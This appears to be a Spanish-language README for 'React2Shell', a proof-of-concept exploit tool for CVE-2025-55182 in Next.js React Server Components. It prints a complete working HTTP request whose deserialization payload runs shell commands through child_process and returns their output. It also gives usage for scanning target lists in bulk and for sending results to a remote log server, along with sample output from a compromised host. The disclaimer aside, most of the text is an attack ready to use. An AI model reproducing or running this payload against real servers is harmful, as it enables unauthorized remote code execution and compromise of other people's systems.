
React2Shell es un exploit de prueba de concepto para CVE-2025-55182 que afecta a implementaciones vulnerables de React Server Components (RSC) en Next.js
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Escrito por INDRA
Este proyecto se proporciona únicamente con fines educativos, de investigación de seguridad y pruebas de penetración autorizadas.
El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este software.
Utilice este exploit únicamente contra sistemas que posea o para los que tenga permiso explícito de prueba.
React2Shell es un exploit de prueba de concepto para CVE-2025-55182 que afecta a implementaciones vulnerables de React Server Components (RSC) en Next.js.
El exploit envía una solicitud multipart manipulada que abusa del flujo vulnerable de deserialización y extrae la salida de comandos a través de la respuesta de digest de redirección de la aplicación.
Cuando tiene éxito, el exploit muestra directamente en la terminal la salida del comando ejecutado.
Python 3.8+
Instalar dependencias:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
Ejecutar
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
El uso no autorizado de este software contra sistemas sin permiso puede violar leyes locales, nacionales o internacionales.
El autor no es responsable de ningún mal uso.
Feliz caza 🕷️
| Versión | Estado |
|---|
| 19.0 | ⚠ Vulnerable |
| 19.1.0 | ⚠ Vulnerable |
| 19.1.1 | ⚠ Vulnerable |
| 19.2.0 | ⚠ Vulnerable |
| 19.0.1 | ✅ Parcheada |
| 19.1.2 | ✅ Parcheada |
| 19.2.1 | ✅ Parcheada |
| Opción | Descripción |
|---|
-u | URL del objetivo |
-f | Archivo que contiene los dominios objetivo |
-o | Guardar objetivos vulnerables localmente |
-l | Enviar resultados al servidor de registro remoto |
-h | Mostrar ayuda |